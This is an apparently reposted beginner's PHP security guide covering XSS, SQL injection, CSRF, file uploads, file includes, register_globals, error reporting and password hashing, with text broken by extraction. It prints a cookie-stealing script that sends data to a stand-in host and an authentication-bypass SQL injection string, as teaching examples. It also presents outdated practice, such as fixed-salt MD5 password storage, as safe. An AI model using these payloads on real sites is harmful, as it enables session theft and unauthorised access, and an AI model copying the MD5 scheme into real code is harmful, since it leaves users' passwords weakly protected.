PHP Security Guide

hamburgerfensuckedSecurity

Nov 20, 2013 (3 years and 8 months ago)

88 views

PHP Security Guide

By
Rob Miller
. Last updated: 2009
-
12
-
25 08:37:40 GMT


1.

Introduction

2.

Different Types of Attack


1.

XSS

2.

SQL Injection

3.

Spoofed Form Input

4.

CSRF

5.

File Uploads

6.

Including Files

7.

eval()

8.

Register Globals

9.

Magic Quotes

10.

Error Reporting


1.

PHP 5

11.

Plain Text Passwords


1.

Taking it further: Salting

3.

Conclusion

Enjoy this guide/find it useful? Please consider
donating
!

Introduction

Since PHP is a very high
-
level scripting language, some of the potential security flaws that
many
languages present are totally irrelevant to it: you don't have to manage your memory, for
example, and thus don't have to worry about things like buffer overflows. Being a high
-
level
language also means that PHP is much easier to learn; however, this
is possibly the biggest
problem with the language as a whole. Many people learn PHP as a first language and don't
consider some of the fundamental considerations one must make when writing programs,
particularly ones as public as are most web applications.

This guide aims to familiarise you with some of the basic concepts of online security and teach
you how to write more secure PHP scripts. It's aimed squarely at beginners, but I hope that it still
has something to offer more advanced users. Enjoy.

Differe
nt Types of Attack

XSS

XSS stands for "Cross Site Scripting", and refers to the act of inserting content, such as
Javascript, into a page. Usually these attacks are used to steal cookies which often contain
sensitive data such as login information.

An exam
ple of a script vulnerable to XSS is this simple script to fetch a news item based on its
ID:

$id = $_GET['id'];


echo 'Displaying news item number '.$id;


/* snip */

Now, if
$_GET['id']

contains a number, then all's well and good

but what happens if it
co
ntains this?

<script>

window.location.href = "http://evildomain.com/cookie
-
stealer.php?c=" +
document.cookie;

If a user passed this simple Javascript into the
$_GET['id']

variable and convinced a user to
click it, then the script would be executed and pass

the user's cookie data onto the attacker,
allowing them to log in as the user. It's really that simple.

Firstly, you must never implicitly trust user input. Always presume that every bit of input
contains an attack, and code to account for that. To do thi
s, you need to filter user input,
removing it of HTML tags so that no Javascript can be run. The easiest way to do this is with
PHP's built in
strip_tags()

function, which will remove HTML from a string rendering i
t
harmless. If you just want to make the HTML safe without removing it altogether, then you need
to run the input through
htmlentities()
, which will convert < and > to &lt; and &gt;
respectively.

SQL Injection

Ma
ny sites use databases as a backend to store their data, using queries to insert and select data
from it. However, many people are unaware that such sites are often vulnerable to a form of
attack called SQL injection.

SQL injection is when malformed user i
nput is used directly and deliberately in an SQL query, in
a way that allows the attacker to manipulate the query. This means that an attacker could delete
portions of your database, make himself an admin account etc

the possibilities are endless.

One of t
he most common vulnerabilities is when logging in to a site. Take this example:

$username = $_POST['username'];

$password = $_POST['password'];


$result = mysql_query("

SELECT *

FROM


site_users

WHERE


username = '$username'


AND


password = '$password'

");


if ( mysql_num_rows($result) > 0 )


// logged in

This is vulnerably to a pretty obvious SQL injection; can you work out how an attacker could
modify the query to allow himself to be logged in regardless of whether or not
he has the right
password?

If the attacker enters a valid username in the username field

"rob", say

and the following in
the password field:

' OR 1=1 '

The resulting query will look like this:

SELECT *

FROM


site_users

WHERE


username = 'rob'


AND


password = '' OR 1=1

It will therefore select all users where:



the username is "rob"



either the "password" field is empty, or 1 is equal to 1

Since the last criteria will always be true

when is 1 ever not equal to 1?

the user will be able
to log in a
s rob without knowing rob's password. Eek!

As with XSS attacks, you must never trust user input. The best way of cleaning user input is
using PHP's built in
mysql_real_escape_string()

function; this w
ill escape characters such as
'
,
"

and others, making them useless in "breaking out" of a quoted string as in the above
example. If you're using a number in your query, then you should use
intval()

on the inputted
numb
er to ensure it is numeric.

Spoofed Form Input

As an extension of the above two points, it's important to remember that input sent to your script
may not have been sent from the form you created. This means that, although you might have
data in checkboxes, radio buttons,
select
s or other "read
-
only" el
ements, they might contain
values that were never in the elements you created and thus need filtering just like
input
s and
textareas
.

This also means that you
cannot

rely soley on client
-
side validation. Whilst it's nice to have
errors pointed out to the user without having to reload a page (and possibly lose all of their
input), using client
-
side validation as a security measure is not sensible. Make sure you check a
ll
input server
-
side, in your PHP scripts,
before

you do anything like insert it into a database.

See the CSRF section below for more details on how to avoid spoofed form input.

CSRF

CSRF stands for "Cross
-
Site Request Forgery", and CSRF attacks are simila
r in scope and
methodology to XSS attacks. CSRF attacks usually either exploit the fact that many websites
perform actions on HTTP GET requests

deleting blog posts, buying items etc.

or spoof a
client request to a resource so that the website believes the
request is genuine. Either way, the
victim performs an action on a website that trusts him

usually his own

that he did not intend
to happen.

First, we'll begin with an example attack, then we'll look at some ways of defending against such
attacks.

Many web
sites allow you to perform actions at the click of a link, such as deleting a forum post.
Usually, the URLs that perform these sorts of actions look a little like this:

http://example.com/forum/deletepost.php?id=392

deletepost.php

will typically check that

the user performing the request is logged in, and if so
perform the requested action

in this case, deleting the post with the
id

of
392
. However, this
method of authentication leaves open a massive security flaw; what if a privileged user

a forum
moderato
r, for example

were to be tricked or forced into visiting this URL? The post would be
deleted, but that's not what the moderator wanted. An attacker could even go further

if the URL
were entered in an HTML
<img>

tag, for example, the privileged user would
likely not even
know that they had performed the action.

How, then, can we avoid such attacks? There are two methods that, when used together,
completely eliminate the possibility of CSRF attacks.

The first is rather simple: never, ever use GET for any cri
tical task. Instead, use a POST form.
Such requests are harder to forge and have the added bonus that they are impossible to load into
HTML image/script tags, eliminating an attacker's ability to exploit your site remotely.

The second is to make sure all r
equests originate from your own forms, eliminating the
possibility that the request could have been loaded from a fake form on a different webpage. To
do this, we can create a value


known by some as a "nonce", but here referred to as a "token"

that is cre
ated especially for the form, submitted along with it, and checked


along with the
usual permission checks

before the action is performed.

Here's an example that creates and checks a token before deleting a forum post:

<?php


session_start();


if( !empty($
_POST['post_id'] ) {


if( !user
-
>is_a_moderator )


die;


if( empty($_POST['token']) || $_POST['token'] != $_SESSION['token'] )


die;



// All fine: delete the post.


delete_post( intval($_POST['post_id']) );



// Unset the toke
n, so that it cannot be used again.


unset($_SESSION['token']);

}


$token = md5(uniqid(rand(), true));

$_SESSION['token'] = $token;


?>


<form method="post">


<p>Post ID to delete:</p>

<p><input type="text" name="post_id" /></p>


<input type="hidden"
name="token" value="<?php echo $token; ?>" />


</form>

As we can see, using a POST form with a generated token is simple, straightforward and
eliminates the possibility of CSRF attacks.

File Uploads

File uploads are potentially the biggest security risk in

web development. Allowing a third
-
party
to place files on your server could allow them to delete your files, empty your database, gain user
details and much more.

However, it's certainly possible to upload files safely, and such functionality can be a gre
at
feature of your site.

When allowing users to upload files from their local machine to your server, there are two things
that you need to check. The first is the mime
-
type of the uploaded file; if your script is uploading
images, for example, you'll want

to just accept
image/png
,
image/jpeg
,
image/gif
,
image/x
-
png

and
image/p
-
jpeg
. You can do so as follows:

$validMimes = array(


'image/png',


'image/x
-
png',


'image/gif',


'image/jpeg',


'image/pjpeg'

);


$image = $_FILES['image'];


if(!in_array($image['type'], $validMimes)) {


die('Sorry, but the file type you tried to upload is invalid; only images
are allowed.');

}


// Do something with the uploaded file.

The second thing to check is the file extension. It's certainly possible t
o spoof a mime
-
type; one
vector is to take an image, insert PHP code into the sections the file format allows for meta data,
give it a
.php

extension, and upload it. In this case, your mime
-
checking would think the file was
an image, upload it, and allow e
xecution of the PHP code within.

To avoid this, you should manually assign files an extension based on their mime
-
type. We could
extend our above example to take this into account:

$validMimes = array(


'image/png' => '.png',


'image/x
-
png' => '.png'
,


'image/gif' => '.gif',


'image/jpeg' => '.jpg',


'image/pjpeg' => '.jpg'

);


$image = $_FILES['image'];


if(!array_key_exists($image['type'], $validMimes)) {


die('Sorry, but the file type you tried to upload is invalid; only images
are allo
wed.');

}


// Get the filename minus the file extension:

$filename = substr($image['name'], 0, strrpos($image['name'], '.'));


// Append the appropriate extension

$filename .= $validMimes[$image['type']];


// Do something with the uploaded file

You can see how the above attack is avoided; if the image containing the PHP code was called
foo.php

and was a PNG, it would would be renamed to
foo.png

and the code would not be
executed.

Including Files

Never, ever include files based on user input without thoroughly checking said input first. One of
the major culprits of this is the ubiquitous
index.php?page=something.php

script that so many
people love to use:

include $_GET['page'];

By doing so, you can

make maintenance of your site much easier; you can keep content in
individual files, and make changes to areas such as the navigation in just one file and have them
appear globally

much like frames, but without the client
-
side disadvantages they bring.
Ho
wever, there is a problem with this method; it allows the user to specify whatever file they
like, giving them access to the contents of any file on the server that your PHP script has
permission to open. Even worse, if the PHP directive
allow_url_fopen

is

turned on, an attacker
can open files from another server

and execute any PHP code within them, since the script uses
include

and not something like
echo file_get_contents()
. This gives them complete
control of your webserver and the files on it. As you c
an see, this is very bad.

You can prevent this in one of two ways. If you only have a few pages, you can make a white
-
list
of pages that are allowed, like so:

switch($_GET['page']) {


case "about":


include('about.php');


break;


case "
news":


include('news.php');


break;


default:


include('home.php');


break;

}

This method means that only the pages you explicitly and specifically allow can be included into
the page, removing any possibility of an attack.
However, it's rather cumbersome

every time
you add a new page, you have to edit this file and add it to the whitelist.

So, a better method would be to simply
clean

the input to make sure that it's safe. This strikes a
balance between the ease
-
of
-
use of the

first method and the security of the second.

$page = preg_replace('/
\
W/si', '', $_GET['page']);


include('./'.$page.'.php');

In this particular script, we take two steps to make sure that the file is valid. The first, scary
-
looking line is a regular expre
ssion, which removes all non
-
word characters

that is, non alpha
-
numeric ones

from the input. This means that an attacker cannot traverse directories using
..
,
or input a URL

http://www.google.com
, for example, would be filtered to
httpwwwgooglecom
: useless
, but safe.

Another related point is the naming of included files. Many scripts store their settings in external
files to make it easy for end
-
users to change them. If you're working on a script that does this, be
sure to name your included files with an e
xtension that isn't displayed as plain text. Many scripts
use
.inc
, which by default is displayed as a regular text file in most web servers. This could give
users access to sensitive information such as database details and user info. The best option is t
o
name the files with an extension of PHP; that way, if a user requests the files, they'll simply be
greeted with a blank page.

If you're using Apache, and using a script that insists on using INC files, then you can use this
setting to disallow direct acc
ess to .inc files:

<files ~ "
\
.inc$">

Order allow,deny

Deny from all

</files>

This should be placed in a file called
.htaccess
, in your top
-
level directory. It basically
disallows end
-
users from viewing
.inc

files, but still allows scripts to include and use them.

eval()

eval()

is a useful but very dangerous function that allows you to execute a string as PHP code.
There aren't many occasions where this is neccessary, and being realistic you should avoid its
usage, especially if you want to use user input in the string.

Register

Globals

register_globals

is a PHP setting that automatically takes data from the superglobal arrays
(
$_GET
,
$_POST
,
$_SERVER
,
$_COOKIE
,
$_REQUEST

and
$_FILE
) and assigns them to global
variables;
$_POST['mes
sage']

would automatically be assigned to
$message
, for example. This
setting is automatically disabled with new installations of PHP, and with good reason. Take this
example:

if($_POST['username'] == 'rob' && $_POST['password'] == 'foo') {


$authentica
ted = true;

}


if($authenticated) {


// do some admin thing

}

Now, with
register_globals

turned off, this script works as intended;
$authenticated

is
only set if the user has entered the correct password. However, with
register_globals

turned
on, a mali
cious user could run the script as

script.php?authenticated=true

and he would automatically be granted admin rights.

There's not a whole lot you can do about this setting if you're using shared hosting, but you can
code your scripts so that they aren't aff
ected by any malicious exploitation of
register_globals
. The above example, for instance, would become:

$authenticated = false;


if($_POST['username'] == 'rob' && $_POST['password'] == 'foo') {


$authenticated = true;

}


if($authenticated) {


// do s
ome admin thing

}

By explicitly setting
$authenticated

to false, we avoid any potential overrides through
register_globals
.

Magic Quotes

Magic Quotes were an attempt by the PHP developers to add some default security into PHP;
when the
magic_quotes_gpc

setting is turned on, all ' (single quote), " (double quote),
\

(backslash) and NULL characters are escaped with a backslash automatically. Note that this is
NOT

the same as
mysql_real_escape
_string()
, and by turning it on you do
NOT

prevent all
SQL injection attacks. This is the first problem.

The second is that that they pose a portability nightmare. Some hosts have the setting on, and
others don't; if you're writing a script that's going to

be used on multiple systems, you need to
check whether magic quotes is turned on and act appropriately.

However, there are solutions to this. One method is to check if the setting is turned on and, if it
isn't, add magic quotes yourself:

function add_magi
c_quotes($array) {


foreach ($array as $k => $v) {


if (is_array($v)) {


$array[$k] = add_magic_quotes($v);


} else {


$array[$k] = addslashes($v);


}


}


return $array;

}

if (!get_magic_quotes_gpc()) {



$_GET = add_magic_quotes($_GET);


$_POST = add_magic_quotes($_POST);


$_COOKIE = add_magic_quotes($_COOKIE);

}

Alternatively, you can do the opposite, and remove the slashes if magic quotes are turned on:

function remove_magic_quotes($array)
{


foreach ($array as $k => $v) {


if (is_array($v)) {


$array[$k] = remove_magic_quotes($v);


} else {


$array[$k] = stripslashes($v);


}


}


return $array;

}

if (get_magic_quotes_gpc()) {


$_GET = remove_magic_quotes($_GET);


$_POST = remove_magic_quotes($_POST);


$_COOKIE = remove_magic_quotes($_COOKIE);

}

Include either of these methods at the top of your main include, and rest easy.

Error Reporting

If you have error reporti
ng turned on fully, important information can be displayed in the event
of an error

even a relatively minor one. PHP provides a function called
error_reporting()

that allows you to change the level of error re
porting on a per
-
script basis.

Whilst in development, you should take advantage of this function to display all errors, warnings
and notices, like so:

error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);

This helps to avoid any errors appearing on pr
oduction sites that you'd missed in development,
and helps you produce better code

especially since notices are usually about flaws in style.

However, when you put your site into production, this level of detail can be dangerous. You can't
forsee all error
s during development

your program could run out of memory or diskspace, for
example. So, for safety's sake, on production sites you should disable the displaying of errors and
instead log them to a file safely outside of your directory root; this way, the
public can't see if
anything goes wrong, but you can. Here's a simple bit of code that will accomplish this:

error_reporting(E_ALL^E_NOTICE); // This is a 'sensible' reporting level

ini_set('display_errors', 0); // Hide all error messages from the public

ini_set('log_errors', 1);

ini_set('error_log', 'path/to_your/log.txt'); // Preferably a location
outside of your web root

Be sure to edit the path to the error log so that it's a correct path and one that is writeable by the
server process

and check regula
rly for errors.

PHP also offers a function,
set_error_handler()
, that allows you to write your own error
handling function that is called when an error occurs. This way, you could implement a much
more sophi
sticated system, perhaps displaying errors to admins or giving a "nice" message to
users when the site is down, rather than a confusing PHP
-
generated error or even a blank page.

Another important thing that people sometimes miss is mySQL error reporting. A

useful tip for
development is to print error reports when a query fails so you can see what went wrong, like so:

mysql_query('

SELECT *

FROM table_that_doesnt_exist

') or die(mysql_error());

During development, this is great

it allows you to see quickly t
hat the table doesn't exist, and
that's why it's breaking. However, you should
never

leave this on in a production environment; if
there happens to be an error, you should log the error appropriately and give a generic error
message to the user if it's cri
tical. If you don't, an attacker can find out important information
about your database schema and even some login information.

PHP 5

PHP 5 offers error reporting that is worlds away from the simple system in PHP 4. One of the
most important additions is the ability to throw and catch
exceptions
, a feature that many
languages have offered for years but PHP has only just picked up.

When a function encounters an exceptional circumstance it can raise

or
throw

an exception.
The code executing that function can then
try

the function,
catch

any exceptions that occur and
act accordingly. If the exception is not caught, your script will dis
play a fatal error and halt
execution.

Here's some example code that should make things a bit clearer for you:

function getData($filename) {




if(!file_exists($filename)) {


throw new Exception('File does not exist');


}




if(filesi
ze($filename) == 0) {


throw new Exception('File is empty');


}




// If any of the above exceptions are thrown,


// this code will not be executed:


return file_get_contents($filename);



}


try {


getData('file.txt');

}

catch(
Exception $e) {


echo 'There was an error opening the file: '.$e
-
>getMessage();

}

You may also extend the exception class:
the PHP manual

has some great
information on the
subject.

As you can see, exceptions are a great way of avoiding the display of nasty PHP errors and
maintaing the integrity of your code, especially when you do a little more with the
catch

section
than simply display a message. You can
keep your code running even if a severe error occurs,
and by extending
Exception

you can make the source of errors clear to other developers.

However, exceptions are quite performance intensive and not always useful to the end user; use
them sparingly and
know when to use default error handling instead.

Plain Text Passwords

When storing passwords, it's important never to store them in plain text. The reasoning behind
this is that, if an attacker were ever to gain access to your database or to a user's cooki
es, they
would know the user's password which they could potentially use on many other sites

as well
as the fact that they would be able to log in as that user on your site.

How, then, can you hide the user's actual password whilst also retaining the abili
ty to check if a
user's password is correct when logging in? The answer is something called "hashing". This way,
you store a hash of the user's password in the database, and hash the input when logging a user
in; if the hashes match, the input is correct.
This way, you never have to store the user's actual
password.

There are two main methods of hashing:
MD5

and
SHA1
. PHP offers functions for both;
SHA1

is
generally regarded as stronger by professional cryptologists, but both are perfectly adequate for
most people's needs.

Here's a quick example of a safe way to do things:

$user_name = mysql_real_escape_string($_POST['username']);

$user_password = md5($_
POST['password']);


$result = mysql_query('

SELECT COUNT(*) AS count

FROM users

WHERE user_name = "'.$user_name.'"

AND user_password = "'.$user_password.'"

');


$row = mysql_fetch_assoc($result);


if($row['count'] > 0) {


// Password is okay.

}

Also wor
th noting is that there's no need to escape the
MD5
d password before inserting it into the
database, since MD5 hashes are always alphanumeric.

Taking it further: Salting

Salting refers to the concept of adding an extra piece of information to the data we'r
e hashing
before we hash it. This means that even if a user were to have a list of every known MD5/SHA1
hash (which is an absolute impossibility, naturally), plus the user's password hash, they'd still not
be able to derive the password from the hash by co
mparison unless they also knew the salt data,
making dictionary attacks useless.

This is perhaps better explained with an example.

Let's say a particularly unimaginitive user chooses for their password the word "password". If we
don't implement salting, th
e password is stored in the database as
5f4dcc3b5aa765d61d8327deb882cf99
, the plain MD5 value of "password".

If a hacker gains access to the password hash of a user, either from their cookie or from the
database itself, they could then scan through a "dict
ionary" of words, hashing each one with
MD5, until they found a hash that matched the user's

they would then know that that particular
word was the user's password.

By introducing salting, however, we'd end up hashing the salt as well as the password, and
storing
that

in the database. Given a relatively strong salt of "f963kjg", our hash would become
b9be01b2cf3d77fe60f6e8892d664606
, and the attacker would never be ab
le to gain access to
the user's password

not unless they had the string "f963kjgpassword" in their dictionary,
anyway.

So, to use a salted hash, we simply hash the salt and the password together:

$salt = 'thequickbrownfox';

$password 'foobar123';


$salted_
hash = md5($salt . $password);

And do the same when checking the password:

$salt = 'thequickbrownfox';


$user_name = mysql_real_escape_string($_POST['username']);

$user_password = md5($salt . $_POST['password']);


$result = mysql_query('

SELECT COUNT(*) AS

count

FROM users

WHERE user_name = "'.$user_name.'"

AND user_password = "'.$user_password.'"

');


$row = mysql_fetch_assoc($result);


if($row['count'] > 0) {


// Password is okay.

}

Considering how simple a change salting is compared with the security
benefits it brings, it's
certainly worth doing.

Conclusion

Hopefully this has made you a little more aware of the dangers that can face you when writing
PHP scripts, and hopefully you've understood what I've tried to say. Remember: always presume
that inpu
t is malformed, act accordingly, and you'll be fine.